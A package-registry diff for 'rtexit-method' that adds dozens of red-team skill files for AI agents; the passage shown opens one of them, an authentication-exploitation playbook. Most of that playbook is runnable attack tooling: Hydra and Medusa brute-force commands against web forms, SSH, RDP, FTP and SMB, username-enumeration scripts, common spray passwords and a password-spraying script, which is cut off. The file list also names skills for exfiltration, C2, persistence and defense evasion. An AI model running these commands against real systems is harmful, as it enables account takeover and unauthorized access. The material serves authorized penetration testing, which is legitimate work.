rtexit-method 0.1.0 → 0.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -5
- package/packaged-assets/.agents/skills/rt-active-recon/SKILL.md +767 -0
- package/packaged-assets/.agents/skills/rt-active-recon/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/customize.toml +76 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/customize.toml +67 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/customize.toml +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/SKILL.md +476 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/SKILL.md +1209 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/template.md +62 -0
- package/packaged-assets/.agents/skills/rt-autodoc/SKILL.md +258 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/SKILL.md +1072 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-compliance-mapper/SKILL.md +773 -0
- package/packaged-assets/.agents/skills/rt-create-sead/SKILL.md +74 -0
- package/packaged-assets/.agents/skills/rt-create-sead/template.md +89 -0
- package/packaged-assets/.agents/skills/rt-create-sead/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-credential-access/SKILL.md +756 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/SKILL.md +856 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/SKILL.md +542 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/cvss4-matrix.csv +20 -0
- package/packaged-assets/.agents/skills/rt-data-exfiltration/SKILL.md +784 -0
- package/packaged-assets/.agents/skills/rt-defense-evasion/SKILL.md +987 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/SKILL.md +712 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/template.md +31 -0
- package/packaged-assets/.agents/skills/rt-executive-report/SKILL.md +718 -0
- package/packaged-assets/.agents/skills/rt-executive-report/template.md +38 -0
- package/packaged-assets/.agents/skills/rt-executive-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/SKILL.md +1078 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/ad-checklist.csv +12 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/SKILL.md +1329 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/masvs-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/SKILL.md +1547 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/SKILL.md +1949 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-bec/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/SKILL.md +865 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-azure/SKILL.md +1258 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-gcp/SKILL.md +981 -0
- package/packaged-assets/.agents/skills/rt-exploit-containers/SKILL.md +55 -0
- package/packaged-assets/.agents/skills/rt-exploit-databases/SKILL.md +1374 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-mac/SKILL.md +834 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/SKILL.md +903 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-dotnet/SKILL.md +945 -0
- package/packaged-assets/.agents/skills/rt-exploit-elasticsearch/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/SKILL.md +1023 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/SKILL.md +1576 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/payloads/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-firebase/SKILL.md +54 -0
- package/packaged-assets/.agents/skills/rt-exploit-frameworks/SKILL.md +967 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/SKILL.md +1693 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/SKILL.md +1860 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/payloads/sqlmap-tampers.txt +22 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/SKILL.md +1214 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/SKILL.md +91 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-java/SKILL.md +1009 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/SKILL.md +1327 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-mongodb/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-mssql/SKILL.md +52 -0
- package/packaged-assets/.agents/skills/rt-exploit-mysql/SKILL.md +53 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/SKILL.md +118 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-nodejs/SKILL.md +852 -0
- package/packaged-assets/.agents/skills/rt-exploit-osticket/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/SKILL.md +173 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/templates/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-php/SKILL.md +1119 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-postgresql/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-python/SKILL.md +986 -0
- package/packaged-assets/.agents/skills/rt-exploit-redis/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ruby/SKILL.md +61 -0
- package/packaged-assets/.agents/skills/rt-exploit-scada/SKILL.md +1091 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/SKILL.md +1528 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/payloads.txt +23 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/SKILL.md +121 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/scripts.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/SKILL.md +1902 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/owasp-checklist.csv +14 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-wireless/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/SKILL.md +1565 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/cves.csv +7 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/SKILL.md +1526 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/payloads.txt +18 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-document/SKILL.md +687 -0
- package/packaged-assets/.agents/skills/rt-finding-document/template.md +71 -0
- package/packaged-assets/.agents/skills/rt-finding-document/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/SKILL.md +216 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-help/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-help/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/SKILL.md +639 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/patterns.txt +27 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-kill-chain-map/SKILL.md +393 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/SKILL.md +1032 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/frameworks.csv +10 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/SKILL.md +668 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/tactics.csv +16 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-osint/SKILL.md +775 -0
- package/packaged-assets/.agents/skills/rt-osint/osint-sources.csv +12 -0
- package/packaged-assets/.agents/skills/rt-osint/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-party-mode/SKILL.md +249 -0
- package/packaged-assets/.agents/skills/rt-party-mode/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-persistence/SKILL.md +1146 -0
- package/packaged-assets/.agents/skills/rt-persistence/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-poc-writer/SKILL.md +640 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/SKILL.md +998 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/windows-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/SKILL.md +1027 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/win-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/SKILL.md +665 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/template.md +28 -0
- package/packaged-assets/.agents/skills/rt-risk-matrix/SKILL.md +232 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-scenario-c001/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c002/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-scenario-c003/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c004/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c005/SKILL.md +72 -0
- package/packaged-assets/.agents/skills/rt-scenario-d001/SKILL.md +378 -0
- package/packaged-assets/.agents/skills/rt-scenario-d002/SKILL.md +392 -0
- package/packaged-assets/.agents/skills/rt-scenario-d003/SKILL.md +522 -0
- package/packaged-assets/.agents/skills/rt-scenario-d004/SKILL.md +373 -0
- package/packaged-assets/.agents/skills/rt-scenario-d005/SKILL.md +458 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/scenarios.csv +32 -0
- package/packaged-assets/.agents/skills/rt-scenario-m001/SKILL.md +796 -0
- package/packaged-assets/.agents/skills/rt-scenario-m002/SKILL.md +723 -0
- package/packaged-assets/.agents/skills/rt-scenario-m003/SKILL.md +463 -0
- package/packaged-assets/.agents/skills/rt-scenario-m004/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-m005/SKILL.md +505 -0
- package/packaged-assets/.agents/skills/rt-scenario-n001/SKILL.md +573 -0
- package/packaged-assets/.agents/skills/rt-scenario-n002/SKILL.md +112 -0
- package/packaged-assets/.agents/skills/rt-scenario-n003/SKILL.md +100 -0
- package/packaged-assets/.agents/skills/rt-scenario-n004/SKILL.md +90 -0
- package/packaged-assets/.agents/skills/rt-scenario-n005/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-w001/SKILL.md +635 -0
- package/packaged-assets/.agents/skills/rt-scenario-w002/SKILL.md +612 -0
- package/packaged-assets/.agents/skills/rt-scenario-w003/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-w004/SKILL.md +648 -0
- package/packaged-assets/.agents/skills/rt-scenario-w005/SKILL.md +479 -0
- package/packaged-assets/.agents/skills/rt-scenario-w006/SKILL.md +443 -0
- package/packaged-assets/.agents/skills/rt-scenario-w007/SKILL.md +494 -0
- package/packaged-assets/.agents/skills/rt-scenario-w008/SKILL.md +576 -0
- package/packaged-assets/.agents/skills/rt-scenario-w009/SKILL.md +518 -0
- package/packaged-assets/.agents/skills/rt-scenario-w010/SKILL.md +574 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/SKILL.md +79 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-shodan-recon/SKILL.md +880 -0
- package/packaged-assets/.agents/skills/rt-status/SKILL.md +64 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/SKILL.md +906 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-technical-report/SKILL.md +710 -0
- package/packaged-assets/.agents/skills/rt-technical-report/template.md +41 -0
- package/packaged-assets/.agents/skills/rt-technical-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-threat-model/SKILL.md +59 -0
- package/packaged-assets/.agents/skills/rt-threat-model/template.md +32 -0
- package/packaged-assets/.agents/skills/rt-threat-model/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-timeline/SKILL.md +338 -0
- package/packaged-assets/RTEXIT.md +127 -0
- package/tools/installer/lib/asset-manifest.js +10 -5
- package/tools/installer/lib/copy-assets.js +5 -2
- /package/{_rtexit → packaged-assets/_rtexit}/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/config.user.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/custom/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/autodoc_engine.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/finding_tracker.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_config.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_customization.py +0 -0
- /package/{resources → packaged-assets/resources}/certifications.md +0 -0
- /package/{resources → packaged-assets/resources}/payloads.md +0 -0
- /package/{resources → packaged-assets/resources}/tools.md +0 -0
- /package/{resources → packaged-assets/resources}/wordlists.md +0 -0
- /package/{templates → packaged-assets/templates}/attack-chain-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report.md +0 -0
- /package/{templates → packaged-assets/templates}/finding-template.md +0 -0
- /package/{templates → packaged-assets/templates}/remediation-roadmap.md +0 -0
- /package/{templates → packaged-assets/templates}/sead-template.md +0 -0
- /package/{templates → packaged-assets/templates}/technical-report.md +0 -0
|
@@ -0,0 +1,1949 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-exploit-auth
|
|
3
|
+
description: "Authentication testing skill. Covers password brute force (Hydra, Burp Intruder), password spraying, JWT attacks (none algorithm, algorithm confusion, weak secret, kid injection), OAuth 2.0 misconfigurations (redirect_uri bypass, PKCE downgrade), MFA bypass (response manipulation, OTP reuse, race conditions), and SAML attacks."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-exploit-auth — Authentication Exploitation Skill
|
|
7
|
+
|
|
8
|
+
## 1. Overview
|
|
9
|
+
|
|
10
|
+
Authentication is the first enforcement point in any application. Weak or misconfigured authentication mechanisms are among the most impactful vulnerabilities a red team operator can exploit — they yield account takeover, privilege escalation, and full application compromise without ever touching business logic.
|
|
11
|
+
|
|
12
|
+
This skill covers the full authentication attack surface:
|
|
13
|
+
|
|
14
|
+
| Attack Category | Key Tools | Impact |
|
|
15
|
+
|---|---|---|
|
|
16
|
+
| Password brute force | Hydra, Medusa, Burp Intruder | Account takeover |
|
|
17
|
+
| Password spraying | Spray, MSOLSpray, kerbrute | Domain compromise, low lockout risk |
|
|
18
|
+
| JWT attacks | jwt_tool, PyJWT, CyberChef | Token forgery, privilege escalation |
|
|
19
|
+
| OAuth 2.0 misconfigs | Burp Suite, curl | Account hijacking, open redirect |
|
|
20
|
+
| MFA bypass | Burp Repeater, race condition scripts | 2FA defeat |
|
|
21
|
+
| SAML attacks | SAMLraider, xml-roundtrip | IdP impersonation, privilege escalation |
|
|
22
|
+
|
|
23
|
+
### Threat Model
|
|
24
|
+
|
|
25
|
+
All techniques in this skill operate against the authentication layer — the boundary between anonymous and authenticated. Targets include:
|
|
26
|
+
|
|
27
|
+
- Web applications with form-based login
|
|
28
|
+
- REST APIs with JWT bearer tokens
|
|
29
|
+
- SSO/federated systems using SAML or OAuth/OIDC
|
|
30
|
+
- Cloud control planes (Azure AD, AWS IAM, GCP IAM)
|
|
31
|
+
- VPN/RDP endpoints for credential stuffing
|
|
32
|
+
|
|
33
|
+
### Legal Notice
|
|
34
|
+
|
|
35
|
+
All techniques must only be executed against systems you have explicit written authorization to test. Unauthorized access is a criminal offense in virtually all jurisdictions. Maintain a signed scope-of-work document before executing any commands in this skill.
|
|
36
|
+
|
|
37
|
+
---
|
|
38
|
+
|
|
39
|
+
## 2. Skill Levels
|
|
40
|
+
|
|
41
|
+
### BEGINNER
|
|
42
|
+
|
|
43
|
+
Prerequisites: Basic HTTP knowledge, ability to run command-line tools, Burp Suite Community installed.
|
|
44
|
+
|
|
45
|
+
Goals:
|
|
46
|
+
- Run Hydra against a login form
|
|
47
|
+
- Decode and inspect a JWT manually
|
|
48
|
+
- Identify redirect_uri parameters in OAuth flows
|
|
49
|
+
- Recognize MFA response structures in Burp
|
|
50
|
+
|
|
51
|
+
### INTERMEDIATE
|
|
52
|
+
|
|
53
|
+
Prerequisites: Python scripting, Burp Suite Pro, basic understanding of cryptography (RSA vs HMAC).
|
|
54
|
+
|
|
55
|
+
Goals:
|
|
56
|
+
- Forge JWT tokens using the none algorithm
|
|
57
|
+
- Execute password spraying with lockout awareness
|
|
58
|
+
- Test redirect_uri bypass with open redirect chains
|
|
59
|
+
- Bypass MFA via response manipulation in Burp
|
|
60
|
+
|
|
61
|
+
### ADVANCED
|
|
62
|
+
|
|
63
|
+
Prerequisites: Cryptography fundamentals, custom scripting ability, JWT/OAuth/SAML RFC familiarity.
|
|
64
|
+
|
|
65
|
+
Goals:
|
|
66
|
+
- Perform RS256-to-HS256 algorithm confusion attacks
|
|
67
|
+
- Exploit weak JWT secrets with hashcat
|
|
68
|
+
- Abuse PKCE downgrade in OAuth flows
|
|
69
|
+
- Conduct SAML signature wrapping attacks
|
|
70
|
+
- Exploit JWT kid parameter injection (SQLi/path traversal)
|
|
71
|
+
|
|
72
|
+
### EXPERT
|
|
73
|
+
|
|
74
|
+
Prerequisites: Deep protocol knowledge, ability to write exploits from scratch, familiarity with cloud IAM.
|
|
75
|
+
|
|
76
|
+
Goals:
|
|
77
|
+
- Forge SAML assertions from scratch without the IdP private key
|
|
78
|
+
- Exploit JWT library vulnerabilities (CVE-level)
|
|
79
|
+
- Chain OAuth misconfigs to full account takeover via CSRF
|
|
80
|
+
- Abuse refresh token rotation flaws for persistent access
|
|
81
|
+
- Build race condition exploits for OTP reuse at scale
|
|
82
|
+
|
|
83
|
+
---
|
|
84
|
+
|
|
85
|
+
## 3. Step-by-Step Attack Workflows
|
|
86
|
+
|
|
87
|
+
### 3.1 Password Brute Force Workflow
|
|
88
|
+
|
|
89
|
+
**Step 1 — Fingerprint the login endpoint**
|
|
90
|
+
|
|
91
|
+
```bash
|
|
92
|
+
# Identify the form action, method, and field names
|
|
93
|
+
curl -s https://target.com/login | grep -i 'form\|input\|name='
|
|
94
|
+
|
|
95
|
+
# Use whatweb for tech fingerprinting
|
|
96
|
+
whatweb https://target.com/login
|
|
97
|
+
|
|
98
|
+
# Check response differences between valid/invalid credentials
|
|
99
|
+
curl -s -o /dev/null -w "%{http_code}" -X POST https://target.com/login \
|
|
100
|
+
-d "username=admin&password=INVALID123"
|
|
101
|
+
```
|
|
102
|
+
|
|
103
|
+
**Step 2 — Identify lockout policy**
|
|
104
|
+
|
|
105
|
+
```bash
|
|
106
|
+
# Send 5 failed attempts and observe the response
|
|
107
|
+
for i in {1..5}; do
|
|
108
|
+
curl -s -X POST https://target.com/login \
|
|
109
|
+
-d "username=testuser&password=wrong$i" \
|
|
110
|
+
-c /tmp/cookies.txt -b /tmp/cookies.txt \
|
|
111
|
+
-w "Attempt $i: HTTP %{http_code}\n" -o /dev/null
|
|
112
|
+
sleep 1
|
|
113
|
+
done
|
|
114
|
+
```
|
|
115
|
+
|
|
116
|
+
**Step 3 — Prepare wordlists**
|
|
117
|
+
|
|
118
|
+
```bash
|
|
119
|
+
# Download standard wordlists
|
|
120
|
+
wget https://github.com/danielmiessler/SecLists/raw/master/Passwords/Common-Credentials/10-million-password-list-top-1000.txt
|
|
121
|
+
|
|
122
|
+
# Generate target-specific wordlist with CeWL
|
|
123
|
+
cewl https://target.com -d 3 -m 6 -w /tmp/target_wordlist.txt
|
|
124
|
+
|
|
125
|
+
# Combine and deduplicate
|
|
126
|
+
cat /tmp/target_wordlist.txt /usr/share/wordlists/rockyou.txt | sort -u > /tmp/combined.txt
|
|
127
|
+
|
|
128
|
+
# Create username list from LinkedIn scraping (if in scope)
|
|
129
|
+
# Use CrossLinked or similar OSINT tool
|
|
130
|
+
python3 CrossLinked.py -f '{first}.{last}@target.com' "Target Company" -o users.txt
|
|
131
|
+
```
|
|
132
|
+
|
|
133
|
+
**Step 4 — Execute Hydra brute force**
|
|
134
|
+
|
|
135
|
+
```bash
|
|
136
|
+
# HTTP POST form brute force
|
|
137
|
+
hydra -L users.txt -P /tmp/combined.txt target.com http-post-form \
|
|
138
|
+
"/login:username=^USER^&password=^PASS^:Invalid credentials" \
|
|
139
|
+
-t 4 -w 3 -o /tmp/hydra_results.txt -V
|
|
140
|
+
|
|
141
|
+
# With cookie session (when CSRF token is static)
|
|
142
|
+
hydra -L users.txt -P passwords.txt target.com http-post-form \
|
|
143
|
+
"/login:username=^USER^&password=^PASS^&csrf_token=abc123:F=Invalid" \
|
|
144
|
+
-t 2 -w 5
|
|
145
|
+
|
|
146
|
+
# HTTPS target
|
|
147
|
+
hydra -L users.txt -P passwords.txt -s 443 -S target.com http-post-form \
|
|
148
|
+
"/api/auth/login:email=^USER^&password=^PASS^:error" \
|
|
149
|
+
-t 4 -o /tmp/hydra_https.txt
|
|
150
|
+
|
|
151
|
+
# HTTP Basic Authentication
|
|
152
|
+
hydra -L users.txt -P passwords.txt target.com http-get /admin/ -t 4
|
|
153
|
+
|
|
154
|
+
# SSH brute force
|
|
155
|
+
hydra -L users.txt -P passwords.txt ssh://target.com -t 4 -o /tmp/ssh_results.txt
|
|
156
|
+
|
|
157
|
+
# RDP brute force
|
|
158
|
+
hydra -L users.txt -P passwords.txt rdp://target.com -t 1 -V
|
|
159
|
+
|
|
160
|
+
# FTP brute force
|
|
161
|
+
hydra -f -L users.txt -P passwords.txt ftp://target.com
|
|
162
|
+
|
|
163
|
+
# SMB brute force
|
|
164
|
+
hydra -L users.txt -P passwords.txt smb://target.com
|
|
165
|
+
```
|
|
166
|
+
|
|
167
|
+
**Step 5 — Execute Medusa brute force (alternative)**
|
|
168
|
+
|
|
169
|
+
```bash
|
|
170
|
+
# HTTP form
|
|
171
|
+
medusa -h target.com -U users.txt -P passwords.txt \
|
|
172
|
+
-M http -m FORM:"/login:username=MEDUSA_USER&password=MEDUSA_PASSWORD:Invalid" \
|
|
173
|
+
-t 4 -f -v 6
|
|
174
|
+
|
|
175
|
+
# SSH
|
|
176
|
+
medusa -h target.com -U users.txt -P passwords.txt -M ssh -t 4 -f
|
|
177
|
+
|
|
178
|
+
# MSSQL
|
|
179
|
+
medusa -h db.target.com -U users.txt -P passwords.txt -M mssql -t 2
|
|
180
|
+
```
|
|
181
|
+
|
|
182
|
+
**Step 6 — Burp Intruder brute force (GUI workflow)**
|
|
183
|
+
|
|
184
|
+
```
|
|
185
|
+
1. Capture login request in Burp Proxy
|
|
186
|
+
2. Right-click -> Send to Intruder
|
|
187
|
+
3. Positions tab: Clear all, highlight password field, click Add
|
|
188
|
+
4. Attack type: Sniper
|
|
189
|
+
5. Payloads tab: Load wordlist
|
|
190
|
+
6. Options: Set grep-match for "Invalid" (failure string)
|
|
191
|
+
7. Options: Set max concurrent requests to 2 (avoid lockout)
|
|
192
|
+
8. Start attack
|
|
193
|
+
9. Sort by Length or Status column to find anomalies
|
|
194
|
+
```
|
|
195
|
+
|
|
196
|
+
---
|
|
197
|
+
|
|
198
|
+
### 3.2 Password Spraying Workflow
|
|
199
|
+
|
|
200
|
+
Password spraying sends one or a few passwords to many accounts — avoiding lockout thresholds.
|
|
201
|
+
|
|
202
|
+
**Step 1 — Enumerate valid usernames first**
|
|
203
|
+
|
|
204
|
+
```bash
|
|
205
|
+
# Username enumeration via timing difference
|
|
206
|
+
python3 - <<'EOF'
|
|
207
|
+
import requests, time
|
|
208
|
+
|
|
209
|
+
users = open('users.txt').read().splitlines()
|
|
210
|
+
for user in users:
|
|
211
|
+
start = time.time()
|
|
212
|
+
r = requests.post('https://target.com/login',
|
|
213
|
+
data={'username': user, 'password': 'Spring2024!'},
|
|
214
|
+
allow_redirects=False, timeout=10)
|
|
215
|
+
elapsed = time.time() - start
|
|
216
|
+
print(f"{user}: HTTP {r.status_code} | {elapsed:.3f}s | Len: {len(r.text)}")
|
|
217
|
+
EOF
|
|
218
|
+
|
|
219
|
+
# Username enumeration via response difference
|
|
220
|
+
ffuf -w users.txt -X POST -u https://target.com/login \
|
|
221
|
+
-d "username=FUZZ&password=invalid" \
|
|
222
|
+
-H "Content-Type: application/x-www-form-urlencoded" \
|
|
223
|
+
-fr "User not found" -fc 302 -v
|
|
224
|
+
```
|
|
225
|
+
|
|
226
|
+
**Step 2 — Identify password policy**
|
|
227
|
+
|
|
228
|
+
```bash
|
|
229
|
+
# Check the password policy page or registration page
|
|
230
|
+
curl -s https://target.com/register | grep -i 'password\|minimum\|require\|must'
|
|
231
|
+
|
|
232
|
+
# Common spray passwords that meet most policies:
|
|
233
|
+
# Spring2024!, Summer2024!, Winter2024!, Password1!, Welcome1!
|
|
234
|
+
# Company2024!, [CompanyName]1!, Changeme1!
|
|
235
|
+
```
|
|
236
|
+
|
|
237
|
+
**Step 3 — Execute spray with delay**
|
|
238
|
+
|
|
239
|
+
```bash
|
|
240
|
+
# Manual spray script with lockout-aware delay
|
|
241
|
+
python3 - <<'EOF'
|
|
242
|
+
import requests, time, sys
|
|
243
|
+
|
|
244
|
+
users = open('users.txt').read().splitlines()
|
|
245
|
+
password = 'Spring2024!'
|
|
246
|
+
delay = 30 # seconds between attempts per user
|
|
247
|
+
results = []
|
|
248
|
+
|
|
249
|
+
session = requests.Session()
|
|
250
|
+
# Get CSRF token if needed
|
|
251
|
+
resp = session.get('https://target.com/login')
|
|
252
|
+
# Parse csrf_token from resp.text here if needed
|
|
253
|
+
|
|
254
|
+
for i, user in enumerate(users):
|
|
255
|
+
r = session.post('https://target.com/login',
|
|
256
|
+
data={'username': user, 'password': password},
|
|
257
|
+
allow_redirects=False)
|
|
258
|
+
status = 'HIT' if r.status_code == 302 else 'MISS'
|
|
259
|
+
print(f"[{i+1}/{len(users)}] {user}: {status} (HTTP {r.status_code})")
|
|
260
|
+
if status == 'HIT':
|
|
261
|
+
results.append(f"{user}:{password}")
|
|
262
|
+
time.sleep(delay / len(users)) # distribute delay evenly
|
|
263
|
+
|
|
264
|
+
with open('/tmp/spray_hits.txt', 'w') as f:
|
|
265
|
+
f.write('\n'.join(results))
|
|
266
|
+
